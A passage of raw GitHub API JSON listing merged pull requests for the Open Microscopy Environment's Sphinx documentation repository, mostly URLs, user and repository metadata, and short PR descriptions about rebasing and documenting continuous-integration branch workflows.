PDF","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/222.diff","id":3760655,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"7be161a4ff322bd3741145a7d8fab53f34944e10","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/221/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/221"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/221"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/221"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/221/comments"}},"title":"Fixing ticket 10174 (rebased onto develop)","state":"closed","number":221,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/221","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/develop/10174-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"8e4e5d0556408ac09504785b4e5a72e0e2433b0c","ref":"rebased/develop/10174-fix"},"assignee":null,"updated_at":"2013-01-23T09:49:35Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/221/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/221/commits","closed_at":"2013-01-23T09:03:06Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/221","merged_at":"2013-01-23T09:03:06Z","merge_commit_sha":"188beb24525eb3e00974dcb9dfb560f4d09b6b3b","created_at":"2013-01-21T10:02:23Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/221/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/221.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/221","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-212 but rebased onto develop.\n\n----\n\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/221.diff","id":3760344,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"136309257792c0f721d9eda8a6e64d6631c4fcc8","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/220/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/220"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/220"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/220"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/220/comments"}},"title":"Continuous integration (rebased onto develop)","state":"closed","number":220,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/220","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/continuous_integration","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"432b6333c5411899f95537d3c89b75ecf165baa5","ref":"rebased/develop/continuous_integration"},"assignee":null,"updated_at":"2013-01-21T13:37:17Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/220/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/220/commits","closed_at":"2013-01-21T13:37:17Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/220","merged_at":"2013-01-21T13:37:17Z","merge_commit_sha":"f51f26057a5008b204554bb4e214d356825b92f1","created_at":"2013-01-18T17:27:26Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/220/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/220.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/220","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-196 but rebased onto develop.\n\n----\n\nThis PR converts the [Multiple development branch g.doc](https://docs.google.com/document/d/1LZkxRgzrfVcKttST2d1pNuViPXClb9ssD7Bvt1osRaQ/edit) into a proper Sphinx documentation page.\r\n\r\nObjectives of this document:\r\n- explain the dual development branch strategy\r\n- describe the main Jenkins jobs used for testing the current & next major release\r\n- introduce & describe some of the scc utility tools for managing branches & PRs\r\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/220.diff","id":3742302,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"136309257792c0f721d9eda8a6e64d6631c4fcc8","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/219/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/219"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/219"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/219"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/219/comments"}},"title":"Editing developer intro 